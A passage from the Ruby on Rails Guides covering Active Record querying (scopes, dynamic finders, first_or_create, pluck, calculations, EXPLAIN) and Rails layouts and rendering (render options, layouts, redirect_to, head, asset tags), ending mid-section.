With this new `orders` object, we are able to ascertain that this object can have more scopes applied to it. For instance, if we wanted to return orders only in the last 30 days at a later point.

```
orders.where("created_at > ?", 30.days.ago)
```

13.4 Applying a default scope

If we wish for a scope to be applied across all queries to the model we can use the `default_scope` method within the model itself.

```
class Client < ActiveRecord::Base
  default_scope where("removed_at IS NULL")
end
```

When queries are executed on this model, the SQL query will now look something like this:

```
SELECT * FROM clients WHERE removed_at IS NULL
```

13.5 Removing all scoping

If we wish to remove scoping for any reason we can use the `unscoped` method. This is especially useful if a `default_scope` is specified in the model and should not be applied for this particular query.

```
Client.unscoped.all
```

This method removes all scoping and will do a normal query on the table.

14 Dynamic Finders

For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` and `find_all_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and `find_all_by_locked` methods.

You can also use `find_last_by_*` methods which will find the last record matching your argument.

You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`

If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`.

Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say `Client.find_by_name_and_locked("Ryan")`, the behavior is to pass `nil` as the missing argument. This is **unintentional** and this behavior will be changed in Rails 3.2 to throw an `ArgumentError`.

15 Find or build a new object

It's common that you need to find a record or create it if it doesn't exist. You can do that with the `first_or_create` and `first_or_create!` methods.

15.1 `first_or_create`

The `first_or_create` method checks whether `first` returns `nil` or not. If it does return `nil`, then `create` is called. This is very powerful when coupled with the `where` method. Let's see an example.

Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his `locked` attribute to false. You can do so by running:

```
Client.where(:first_name => 'Andy').first_or_create(:locked => false)
# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
```

The SQL generated by this method looks like this:

```
SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
BEGIN
INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57')
COMMIT
```

`first_or_create` returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.

The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).

It's also worth noting that `first_or_create` takes into account the arguments of the `where` method. In the example above we didn't explicitly pass a `:first_name => 'Andy'` argument to `first_or_create`. However, that was used when creating the new record because it was already passed before to the `where` method.

You can do the same with the `find_or_create_by` method:

```
Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false)
```

This method still works, but it's encouraged to use `first_or_create` because it's more explicit on which arguments are used to *find* the record and which are used to *create*, resulting in less confusion overall.

15.2 `first_or_create!`

You can also use `first_or_create!` to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add

```
validates :orders_count, :presence => true
```

to your `Client` model. If you try to create a new `Client` without passing an `orders_count`, the record will be invalid and an exception will be raised:

```
Client.where(:first_name => 'Andy').first_or_create!(:locked => false)
# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
```

15.3 `first_or_initialize`

The `first_or_initialize` method will work just like `first_or_create` but it will not call `create` but `new`. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the `first_or_create` example, we now want the client named 'Nick':

```
nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false)
# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">

nick.persisted?
# => false

nick.new_record?
# => true
```

Because the object is not yet stored in the database, the SQL generated looks like this:

```
SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
```

When you want to save it to the database, just call `save`:

```
nick.save
# => true
```

16 Finding by SQL

If you'd like to use your own SQL to find records in a table you can use `find_by_sql`. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:

```
Client.find_by_sql("SELECT * FROM clients
  INNER JOIN orders ON clients.id = orders.client_id
  ORDER clients.created_at desc")
```

`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.

17 `select_all`

`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.

```
Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
```

18 `pluck`

`pluck` can be used to query a single column from the underlying table of a model. It accepts a column name as argument and returns an array of values of the specified column with the corresponding data type.

```
Client.where(:active => true).pluck(:id)
# SELECT id FROM clients WHERE active = 1

Client.uniq.pluck(:role)
# SELECT DISTINCT role FROM clients
```

`pluck` makes it possible to replace code like

```
Client.select(:id).map { |c| c.id }
```

with

```
Client.pluck(:id)
```

19 Existence of Objects

If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`.

```
Client.exists?(1)
```

The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists.

```
Client.exists?(1,2,3)
# or
Client.exists?([1,2,3])
```

```
Client.exists?([1,2,3])
```

It's even possible to use `exists?` without any arguments on a model or a relation.

```
Client.where(:first_name => 'Ryan').exists?
```

The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise.

```
Client.exists?
```

The above returns `false` if the `clients` table is empty and `true` otherwise.

You can also use `any?` and `many?` to check for existence on a model or relation.

```
# via a model
Post.any?
Post.many?

# via a named scope
Post.recent.any?
Post.recent.many?

# via a relation
Post.where(:published => true).any?
Post.where(:published => true).many?

# via an association
Post.first.categories.any?
Post.first.categories.many?
```

20 Calculations

This section uses count as an example method in this preamble, but the options described apply to all sub-sections.

All calculation methods work directly on a model:

```
Client.count
# SELECT count(*) AS count_all FROM clients
```

Or on a relation:

```
Client.where(:first_name => 'Ryan').count
# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
```

You can also use various finder methods on a relation for performing complex calculations:

```
Client.includes("orders").where(:first_name => 'Ryan', :orders => {:status => 'received'}).count
```

Which will execute:

```
SELECT count(DISTINCT clients.id) AS count_all FROM clients
  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
  (clients.first_name = 'Ryan' AND orders.status = 'received')
```

20.1 Count

If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`.

For options, please see the parent section, **Calculations**.

20.2 Average

If you want to see the average of a certain number in one of your tables you can call the `average` method on the class that relates to the table. This method call will look something like this:

```
Client.average("orders_count")
```

This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.

For options, please see the parent section, **Calculations**.

20.3 Minimum

If you want to find the minimum value of a field in your table you can call the `minimum` method on the class that relates to the table. This method call will look something like this:

```
Client.minimum("age")
```

For options, please see the parent section, **Calculations**.

20.4 Maximum

If you want to find the maximum value of a field in your table you can call the `maximum` method on the class that relates to the table. This method call will look something like this:

```
Client.maximum("age")
```

For options, please see the parent section, **Calculations**.

20.5 Sum

If you want to find the sum of a field for all records in your table you can call the `sum` method on the class that relates to the table. This method call will look something like this:

```
Client.sum("orders_count")
```

For options, please see the parent section, **Calculations**.

21 Running EXPLAIN

You can run EXPLAIN on the queries triggered by relations. For example,

```
User.where(:id => 1).joins(:posts).explain
```

```
User.where(:id => 1).joins(:posts).explain
```

may yield

```
EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra       |
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |             |
|  1 | SIMPLE      | posts | ALL   | NULL          | NULL    | NULL    | NULL  |    1 | Using where |
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
2 rows in set (0.00 sec)
```

under MySQL.

Active Record performs a pretty printing that emulates the one of the database shells. So, the same query running with the PostgreSQL adapter would yield instead

```
EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
                                QUERY PLAN
------------------------------------------------------------------------------
 Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
   Join Filter: (posts.user_id = users.id)
   ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
         Index Cond: (id = 1)
   ->  Seq Scan on posts  (cost=0.00..28.88 rows=8 width=4)
         Filter: (posts.user_id = 1)
(6 rows)
```

Eager loading may trigger more than one query under the hood, and some queries may need the results of previous ones. Because of that, `explain` actually executes the query, and then asks for the query plans. For example,

```
User.where(:id => 1).includes(:posts).explain
```

yields

```
EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra |
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |       |
+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
1 row in set (0.00 sec)

EXPLAIN for: SELECT `posts`.* FROM `posts`  WHERE `posts`.`user_id` IN (1)
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra       |
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
|  1 | SIMPLE      | posts | ALL  | NULL          | NULL | NULL    | NULL |    1 | Using where |
+----+-------------+-------+------+---------------+------+---------+------+------+-------------+
1 row in set (0.00 sec)
```

under MySQL.

21.1 Automatic EXPLAIN

Active Record is able to run EXPLAIN automatically on slow queries and log its output. This feature is controlled by the configuration parameter

```
config.active_record.auto_explain_threshold_in_seconds
```

If set to a number, any query exceeding those many seconds will have its EXPLAIN automatically triggered and logged. In the case of relations, the threshold is compared to the total time needed to fetch records. So, a relation is seen as a unit of work, no matter whether the implementation of eager loading involves several queries under the hood.

A threshold of `nil` disables automatic EXPLAINs.

The default threshold in development mode is 0.5 seconds, and `nil` in test and production modes.

Automatic EXPLAIN gets disabled if Active Record has no logger, regardless of the value of the threshold.

21.1.1 Disabling Automatic EXPLAIN

Automatic EXPLAIN can be selectively silenced with `ActiveRecord::Base.silence_auto_explain`:

```
ActiveRecord::Base.silence_auto_explain do
  # no automatic EXPLAIN is triggered here
end
```

That may be useful for queries you know are slow but fine, like a heavyweight report of an admin interface.

As its name suggests, `silence_auto_explain` only silences automatic EXPLAINs. Explicit calls to `ActiveRecord::Relation#explain` run.

21.2 Interpreting EXPLAIN

Interpretation of the output of EXPLAIN is beyond the scope of this guide. The following pointers may be helpful:

- SQLite3: **EXPLAIN QUERY PLAN**
- MySQL: **EXPLAIN Output Format**
- PostgreSQL: **Using EXPLAIN**

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Layouts and Rendering in Rails

This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:

- Use the various rendering methods built into Rails
- Create layouts with multiple content sections
- Use partials to DRY up your views
- Use nested layouts (sub-templates)

Chapters

1. Overview: How the Pieces Fit Together
2. Creating Responses
    - Rendering by Default: Convention Over Configuration in Action
    - Using `render`
    - Using `redirect_to`
    - Using `head` To Build Header-Only Responses
3. Structuring Layouts
    - Asset Tag Helpers
    - Understanding `yield`
    - Using the `content_for` Method
    - Using Partials
    - Using Nested Layouts

1 Overview: How the Pieces Fit Together

This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.

In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.

2 Creating Responses

From the controller's point of view, there are three ways to create an HTTP response:

- Call `render` to create a full response to send back to the browser
- Call `redirect_to` to send an HTTP redirect status code to the browser
- Call `head` to create a response consisting solely of HTTP headers to send back to the browser

I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.

2.1 Rendering by Default: Convention Over Configuration in Action

You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your `BooksController` class:

```
class BooksController < ApplicationController
end
```

And the following in your routes file:

```
resources :books
```

And you have a view file `app/views/books/index.html.erb`:

```
<h1>Books are coming soon!</h1>
```

Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen.

However a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`:

```
class BooksController < ApplicationController
  def index
    @books = Book.all
  end
end
```

Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the `action_name.html.erb` template in the controller's view path and render it. So in this case, Rails will render the `app/views/books/index.html.erb` file.

If we want to display the properties of all the books in our view, we can do so with an ERB template like this:

```
<h1>Listing Books</h1>

<table>
  <tr>
    <th>Title</th>
    <th>Summary</th>
    <th></th>
    <th></th>
    <th></th>
  </tr>

<% @books.each do |book| %>
  <tr>
    <td><%= book.title %></td>
    <td><%= book.content %></td>
    <td><%= link_to 'Show', book %></td>
    <td><%= link_to 'Edit', edit_book_path(book) %></td>
    <td><%= link_to 'Remove', book, :confirm => 'Are you sure?', :method => :delete %></td>
  </tr>
<% end %>
</table>

<br />

<%= link_to 'New book', new_book_path %>
```

The actual rendering is done by subclasses of `ActionView::TemplateHandlers`. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are `.erb` for ERB (HTML with embedded Ruby), and `.builder` for Builder (XML generator).

2.2 Using `render`

In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text

default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.

If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser.

2.2.1 Rendering Nothing

Perhaps the simplest thing you can do with `render` is to render nothing at all:

```
render :nothing => true
```

If you look at the response for this using cURL, you will see the following:

```
$ curl -i 127.0.0.1:3000/books
HTTP/1.1 200 OK
Connection: close
Date: Sun, 24 Jan 2010 09:25:18 GMT
Transfer-Encoding: chunked
Content-Type: */*; charset=utf-8
X-Runtime: 0.014297
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache


 $
```

We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed.

You should probably be using the `head` method, discussed later in this guide, instead of `render :nothing`. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.

2.2.2 Rendering an Action's View

If you want to render the view that corresponds to a different action within the same template, you can use `render` with the name of the view:

```
def update
  @book = Book.find(params[:id])
  if @book.update_attributes(params[:book])
    redirect_to(@book)
  else
    render "edit"
  end
end
```

If the call to `update_attributes` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller.

If you prefer, you can use a symbol instead of a string to specify the action to render:

```
def update
  @book = Book.find(params[:id])
  if @book.update_attributes(params[:book])
    redirect_to(@book)
  else
    render :edit
  end
end
```

To be explicit, you can use `render` with the `:action` option (though this is no longer necessary in Rails 3.0):

```
def update
  @book = Book.find(params[:id])
  if @book.update_attributes(params[:book])
    redirect_to(@book)
  else
    render :action => "edit"
  end
end
```

Using `render` with `:action` is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does *not* run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling `render`.

2.2.3 Rendering an Action's Template from Another Controller

What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with `render`, which accepts the full path (relative to `app/views`) of the template to render. For example, if you're running code in an `AdminProductsController` that lives in `app/controllers/admin`, you can render the results of an action to a template in `app/views/products` this way:

```
render 'products/show'
```

Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the `:template` option (which was required on Rails 2.2 and earlier):

```
render :template => 'products/show'
```

2.2.4 Rendering an Arbitrary File

The `render` method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):

```
render "/u/apps/warehouse_app/current/app/views/products/show"
```

Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the `:file` option (which was required on Rails 2.2 and earlier):

```
render :file =>
  "/u/apps/warehouse_app/current/app/views/products/show"
```

The `:file` option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.

By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the `:layout => true` option.

If you're running Rails on Microsoft Windows, you should use the `:file` option to render a file, because Windows filenames do not have the same format as Unix filenames.

2.2.5 Wrapping it up

The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.

In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory:

```
render :edit
render :action => :edit
render 'edit'
render 'edit.html.erb'
```

```
render :action => 'edit'
render :action => 'edit.html.erb'
render 'books/edit'
render 'books/edit.html.erb'
render :template => 'books/edit'
render :template => 'books/edit.html.erb'
render '/path/to/rails/app/views/books/edit'
render '/path/to/rails/app/views/books/edit.html.erb'
render :file => '/path/to/rails/app/views/books/edit'
render :file => '/path/to/rails/app/views/books/edit.html.erb'
```

Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.

2.2.6 Using `render` with `:inline`

The `render` method can do without a view completely, if you're willing to use the `:inline` option to supply ERB as part of the method call. This is perfectly valid:

```
render :inline =>
  "<% products.each do |p| %><p><%= p.name %></p><% end %>"
```

There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.

By default, inline rendering uses ERB. You can force it to use Builder instead with the `:type` option:

```
render :inline =>
  "xml.p {'Horrid coding practice!'}", :type => :builder
```

2.2.7 Rendering Text

You can send plain text – with no markup at all – back to the browser by using the `:text` option to `render`:

```
render :text => "OK"
```

Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.

By default, if you use the `:text` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `:layout => true` option.

2.2.8 Rendering JSON

JSON is a JavaScript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:

```
render :json => @product
```

You don't need to call `to_json` on the object that you want to render. If you use the `:json` option, `render` will automatically call `to_json` for you.

2.2.9 Rendering XML

Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:

```
render :xml => @product
```

You don't need to call `to_xml` on the object that you want to render. If you use the `:xml` option, `render` will automatically call `to_xml` for you.

2.2.10 Rendering Vanilla JavaScript

Rails can render vanilla JavaScript:

```
render :js => "alert('Hello Rails');"
```

This will send the supplied string to the browser with a MIME type of `text/javascript`.

2.2.11 Options for `render`

Calls to the `render` method generally accept four options:

- `:content_type`
- `:layout`
- `:status`
- `:location`

2.2.11.1 The `:content_type` Option

By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option:

```
render :file => filename, :content_type => 'application/rss'
```

2.2.11.2 The `:layout` Option

With most of the options to `render`, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.

You can use the `:layout` option to tell Rails to use a specific file as the layout for the current action:

```
render :layout => 'special_layout'
```

You can also tell Rails to render with no layout at all:

```
render :layout => false
```

2.2.11.3 The `:status` Option

Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this:

```
render :status => 500
render :status => :forbidden
```

Rails understands both numeric and symbolic status codes.

2.2.11.4 The `:location` Option

You can use the `:location` option to set the HTTP `Location` header:

```
render :xml => photo, :location => photo_url(photo)
```

2.2.12 Finding Layouts

To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.

2.2.12.1 Specifying Layouts for Controllers

You can override the default layout conventions in your controllers by using the `layout` declaration. For example:

```
class ProductsController < ApplicationController
```

```
  layout "inventory"
  #...
end
```

With this declaration, all of the methods within `ProductsController` will use `app/views/layouts/inventory.html.erb` for their layout.

To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:

```
class ApplicationController < ActionController::Base
  layout "main"
  #...
end
```

With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout.

2.2.12.2 Choosing Layouts at Runtime

You can use a symbol to defer the choice of layout until a request is processed:

```
class ProductsController < ApplicationController
  layout :products_layout

  def show
    @product = Product.find(params[:id])
  end

  private
    def products_layout
      @current_user.special? ? "special" : "products"
    end

end
```

Now, if the current user is a special user, they'll get a special layout when viewing a product.

You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the `controller` instance, so the layout can be determined based on the current request:

```
class ProductsController < ApplicationController
  layout Proc.new { |controller| controller.request.xhr? ? 'popup' : 'application' }
end
```

2.2.12.3 Conditional Layouts

Layouts specified at the controller level support the `:only` and `:except` options. These options take either a method name, or an array of method names, corresponding to method names within the controller:

```
class ProductsController < ApplicationController
  layout "product", :except => [:index, :rss]
end
```

With this declaration, the `product` layout would be used for everything but the `rss` and `index` methods.

2.2.12.4 Layout Inheritance

Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:

- `application_controller.rb`

```
class ApplicationController < ActionController::Base
```

```
  layout "main"
end
```

- posts_controller.rb

```
class PostsController < ApplicationController
end
```

- special_posts_controller.rb

```
class SpecialPostsController < PostsController
  layout "special"
end
```

- old_posts_controller.rb

```
class OldPostsController < SpecialPostsController
  layout nil

  def show
    @post = Post.find(params[:id])
  end

  def index
    @old_posts = Post.older
    render :layout => "old"
  end
  # ...
end
```

In this application:

- In general, views will be rendered in the `main` layout
- `PostsController#index` will use the `main` layout
- `SpecialPostsController#index` will use the `special` layout
- `OldPostsController#show` will use no layout at all
- `OldPostsController#index` will use the `old` layout

2.2.13 Avoiding Double Render Errors

Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that `render` works.

For example, here's some code that will trigger this error:

```
def show
  @book = Book.find(params[:id])
  if @book.special?
    render :action => "special_show"
  end
  render :action => "regular_show"
end
```

If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will *not* stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view – and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `and return`. Here's a patched version of the method:

```
def show
  @book = Book.find(params[:id])
  if @book.special?
    render :action => "special_show" and return
```

```
    render :action => "special_show" and return
  end
  render :action => "regular_show"
end
```

Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language.

Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors:

```
def show
  @book = Book.find(params[:id])
  if @book.special?
    render :action => "special_show"
  end
end
```

This will render a book with `special?` set with the `special_show` template, while other books will render with the default `show` template.

2.3 Using `redirect_to`

Another way to handle returning responses to an HTTP request is with `redirect_to`. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:

```
redirect_to photos_url
```

You can use `redirect_to` with any arguments that you could use with `link_to` or `url_for`. There's also a special redirect that sends the user back to the page they just came from:

```
redirect_to :back
```

2.3.1 Getting a Different Redirect Status Code

Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option:

```
redirect_to photos_path, :status => 301
```

Just like the `:status` option for `render`, `:status` for `redirect_to` accepts both numeric and symbolic header designations.

2.3.2 The Difference Between `render` and `redirect_to`

Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is *not* correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.

Consider these actions to see the difference:

```
def index
  @books = Book.all
end

def show
  @book = Book.find_by_id(params[:id])
  if @book.nil?
    render :action => "index"
  end
end
```

With the code in this form, there will likely be a problem if the `@book` variable is `nil`. Remember, a `render :action` doesn't run any code in the target action, so nothing will set up the `@books` variable that the `index` view will probably require. One way to fix this is to redirect instead of rendering:

```
def index
  @books = Book.all
end

def show
  @book = Book.find_by_id(params[:id])
  if @book.nil?
    redirect_to :action => :index
  end
end
```

With this code, the browser will make a fresh request for the index page, the code in the `index` method will run, and all will be well.

The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with `/books/1` and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to `/books/`, the browser complies and sends a new request back to the controller asking now for the `index` action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.

While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:

```
def index
  @books = Book.all
end

def show
  @book = Book.find_by_id(params[:id])
  if @book.nil?
    @books = Book.all
    render "index", :alert => 'Your book was not found!'
  end
end
```

This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened.

2.4 Using `head` To Build Header-Only Responses

The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:

```
head :bad_request
```

This would produce the following header:

```
HTTP/1.1 400 Bad Request
Connection: close
Date: Sun, 24 Jan 2010 12:15:53 GMT
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
X-Runtime: 0.013483
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
```

Or you can use other HTTP headers to convey other information:

```
head :created, :location => photo_path(@photo)
```

Which would produce:

```
HTTP/1.1 201 Created
Connection: close
Date: Sun, 24 Jan 2010 12:16:44 GMT
Transfer-Encoding: chunked
Location: /photos/1
Content-Type: text/html; charset=utf-8
X-Runtime: 0.083496
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
```

3 Structuring Layouts

When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:

- Asset tags
- `yield` and `content_for`
- Partials

3.1 Asset Tag Helpers

Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails:

- `auto_discovery_link_tag`
- `javascript_include_tag`
- `stylesheet_link_tag`
- `image_tag`
- `video_tag`
- `audio_tag`

You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout.

The asset tag helpers do *not* verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.

3.1.1 Linking to Feeds with the `auto_discovery_link_tag`

The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:

```
<%= auto_discovery_link_tag(:rss, {:action => "feed"},
  {:title => "RSS Feed"}) %>
```

There are three tag options available for the `auto_discovery_link_tag`:

- `:rel` specifies the `rel` value in the link. The default value is "alternate".
- `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
- `:title` specifies the title of the link. The default value is the upshifted `:type` value, for example, "ATOM" or "RSS".

3.1.2 Linking to JavaScript Files with the `javascript_include_tag`

The `javascript_include_tag` helper returns an HTML `script` tag for each source provided.

If you are using Rails with the **Asset Pipeline** enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the Sprockets gem, which was introduced in Rails 3.1.

